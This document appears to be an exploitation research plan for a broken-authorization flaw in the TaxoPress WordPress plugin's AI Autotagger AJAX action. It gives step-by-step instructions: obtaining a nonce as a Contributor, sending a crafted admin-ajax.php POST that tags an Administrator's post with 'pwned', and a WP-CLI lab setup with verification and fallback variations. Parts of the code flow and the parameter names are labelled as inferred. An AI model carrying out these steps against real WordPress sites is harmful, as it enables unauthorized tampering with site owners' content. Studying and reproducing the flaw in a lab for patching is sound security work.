Exploitation Research Plan: CVE-2025-14371 (TaxoPress AI Autotagger)

1. Vulnerability Summary

The TaxoPress plugin (formerly Simple Tags) version 3.41.0 and below is vulnerable to unauthorized data modification. The function taxopress_ai_add_post_term, which is intended to allow the AI Autotagger feature to update post tags or categories, fails to implement a capability check (authorization).

While it typically enforces a nonce check (CSRF protection), the nonce is available to any user with dashboard access (Contributor and above). Because the code does not verify if the current user has the edit_post capability for the specific post_id provided in the request, a Contributor can add or remove terms from posts they do not own, including those published by Administrators.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: taxopress_ai_add_post_term
• HTTP Method: POST
• Authentication: Required (Contributor or higher)
• Vulnerable Parameter: post_id (used to target arbitrary posts)
• Payload Parameters (Inferred):
  • post_id: Integer (The ID of the target post)
  • term: String (The term name to add)
  • taxonomy: String (The taxonomy slug, e.g., post_tag or category)
  • nonce: String (The security token)

3. Code Flow (Inferred)

1. Entry Point: The plugin registers the AJAX handler in its admin initialization:
   add_action('wp_ajax_taxopress_ai_add_post_term', 'taxopress_ai_add_post_term');
2. Function Execution: taxopress_ai_add_post_term() is called.
3. Nonce Verification: The function likely calls check_ajax_referer('taxopress_ai_nonce', 'nonce') or similar.
4. Missing Authorization: The function proceeds to use wp_set_post_terms() or wp_add_object_terms() using the user-provided post_id without checking if the user is authorized to edit that specific post:

   // Vulnerable logic pattern
   $post_id = (int)$_POST['post_id'];
   $term    = sanitize_text_field($_POST['term']);
   $tax     = sanitize_text_field($_POST['taxonomy']);
   // NO CHECK: if (!current_user_can('edit_post', $post_id)) { wp_die(); }
   wp_set_post_terms($post_id, $term, $tax, true);
   

4. Nonce Acquisition Strategy

The AI Autotagger features are typically loaded in the WordPress Post Editor. Even a Contributor can create a "Draft" post to access the editor, which will load the necessary scripts and nonces.

1. Identify Script Localization: The plugin likely uses wp_localize_script to pass a nonce to the editor. Based on common TaxoPress patterns, look for the taxopress_admin_params or taxopress_ai_autotagger object.
2. Setup: Create a dummy post as the Contributor user.
3. Navigation: Navigate to the editor for that dummy post: /wp-admin/post.php?post=[DUMMY_ID]&action=edit.
4. Extraction: Use browser_eval to extract the nonce:
   • browser_eval("taxopress_admin_params.taxopress_ai_nonce") (inferred key)
   • Alternative: Search page source for nonce strings if the key differs.

5. Exploitation Strategy

1. Login: Authenticate as a Contributor-level user.
2. Acquire Nonce: Navigate to the editor for a post owned by the Contributor to grab the taxopress_ai_nonce.
3. Identify Target: Determine the post_id of an Administrator's post (e.g., ID 1).
4. Execute Attack: Send a POST request to admin-ajax.php.

Request Details:

• URL: http://[target]/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body:

  action=taxopress_ai_add_post_term&post_id=1&term=pwned&taxonomy=post_tag&nonce=[EXTRACTED_NONCE]
  

6. Test Data Setup

1. Administrator Post: Create a post as admin.
   • wp post create --post_title="Admin Private News" --post_status=publish --post_author=1 (Note the ID, usually 1 or 4).
2. Contributor User: Create a user with the contributor role.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
3. Contributor Post: Create a post for the contributor so they can access the editor.
   • wp post create --post_title="Contributor Post" --post_status=draft --post_author=[CONTRIBUTOR_ID]

7. Expected Results

• The AJAX response should return a success code (e.g., {"success":true} or 1).
• The Administrator's post (ID 1) will now have the tag "pwned" assigned to it, despite the Contributor having no permissions to modify that post.

8. Verification Steps

1. Check Terms via CLI:
   • wp post term list 1 post_tag --fields=name
2. Confirm Injection: Verify "pwned" appears in the output.
3. Check Author: Verify the post is still owned by the Administrator.
   • wp post get 1 --field=post_author

9. Alternative Approaches

• Taxonomy Variation: If post_tag is restricted, try category or any custom taxonomy registered on the site.
• Bulk Action: If the function supports an array of terms, try injecting multiple terms.
• Nonce Source: If the nonce is not in the Post Editor, check the TaxoPress settings pages in the dashboard (some are accessible to lower roles depending on plugin configuration).
• Direct Parameter Guessing: If term doesn't work, try term_id or terms[]. (The vulnerability specifically mentions taxopress_ai_add_post_term, implying term addition).